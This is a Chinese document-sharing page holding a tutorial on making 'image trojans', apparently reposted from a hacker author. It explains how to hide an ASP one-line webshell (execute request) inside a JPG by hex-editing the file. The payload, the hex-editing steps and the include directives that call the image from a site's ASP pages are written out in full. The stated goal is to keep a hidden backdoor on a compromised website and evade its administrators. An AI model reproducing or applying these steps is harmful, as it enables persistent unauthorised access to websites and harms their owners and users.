版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、图片木马制作的三种方法Copy命令制作1. asp内容:打开cmd,数据一下命令:此时打开两个jpg文件,相比:且打开2.jpg可以像1.jpg一样显示图像。把以下代码放入目标网站,即可按asp执行。<% #include files=”2.jpg”%>Uedit32(转载):本制作来自于:雪糕。我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来看看。但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误:Microsoft VBScript
2、 运行时错误 错误 '800a000d' 类型不匹配: 'execute' /news1/show.asp,行 3所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码:<!-#include file="图片后门地址"->这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的
3、asp文件改成jpg或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。制作步骤:一、前期准备材料:1.一张图片:1.jpg2.一句话木马服务器端代码:<%execute request("value")%>(其他的一句话也行)3.一句Script标签:<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>一句话木马服务器端代码</SCRIPT>4. 调用图片后门代码:<!-#include file="图片地
4、址"->工具:UltraEdit二、开始制作:1.使用UltraEdit打开1.jpg文件,然后按CTRL +F 进行查找图片中的“<%”和“%>”其中<%的十六进制代码是3E 25,那么%>就应该是25 3E,但是我们只把25改成00;之后我们在新建一个文本编辑窗口,将我们的script标签代码<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT><%execute request("value")%></SCRIPT>复制进去,然后点击右键选择十六进制编辑命令,这样会
5、跳转到十六进制数据窗口,复制所有的十六进制的数据,粘贴到1.jpg的十六进制编辑窗口的最下面,说明:为什么要粘贴到最下面?假设你把srcipt标签的十六进制代码粘贴到中间的话,就会破坏图片的完整性,那样下面的图片就看不到了,但是插入的一句话代码还是起作用的。如图:最后保存退出。完成整个过程,我们的图片后门就做成。看到了吧,图片和原来还是一样的,但有时候会影响图片显示效果。说明:为什么要把“<%”和“%>”对应的十六进制中的25改成00呢?改成其他的行不行?雪糕猜想:因为在我们的一句话木马服务器代码<%execute request("value")%>
6、;中含有“<%”和“%>”们,但我们使用一句话客户端连接时,就可能发生寻找错误,然后就找不到我们的一句话服务器端代码了,所以要把图片中的相似结构改成其他的。我想25也应该可以改成别的,但还没实验过。2.我们已经做好了图片后门,然后就是简单的配置一下了。如果网站的asp网页可以被写入,那我们就将<!-#include file="1.jpg"->直接插入到网页中,这样这个网页的url就是成了我们使用一句话客户端连接的后门地址了;但要是不走运,那就自己新建一个asp文件,把<!-#include file="1.jpg"->加进去吧(这里我新建了一个1.asp文件)。Ps插入第二种方法
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2022年五年级道德与法治上册期末考试卷(完整版)
- CH 8017-1999 航测仪器整机精度检定规程
- 2023年八年级语文上册期末考试及答案2
- 2023年部编版七年级语文上册期末试题一
- 2022新部编人教版六年级上册《道德与法治》期末考试卷附答案
- 2023年苏教版九年级上册《生物》期末考试(可打印)
- 人教版七年级数学(上册)期末测试及答案
- 2023年部编版二年级《上册语文》期末试卷(参考答案)
- 2023年部编版四年级《上册语文》期末试卷及完整答案
- 中建项目管理手册
- 医疗应用的辐射安全和防护课件
- 新青年的责任与担当PPT中国青年始终是实现中华民族伟大复兴的先锋力量PPT课件(带内容)
- 健康中国2030消除丙肝威胁行动白皮书
- 防盗门及防火门的采购及现场安装组织方案
- 2020内蒙古自治区科技成果转化专项资金项目申报书
- 以“政府绩效与公众信任”为主题撰写一篇小论文6篇
- 机械设备检查记录
- GB∕T 3090-2020 不锈钢小直径无缝钢管
- 水工混凝土施工规范
- IPC-1710A印刷电线板原始制造商资质认证手册
- 初中 初二 心理健康 正念葡萄干找味道之旅 课件
评论
0/150
提交评论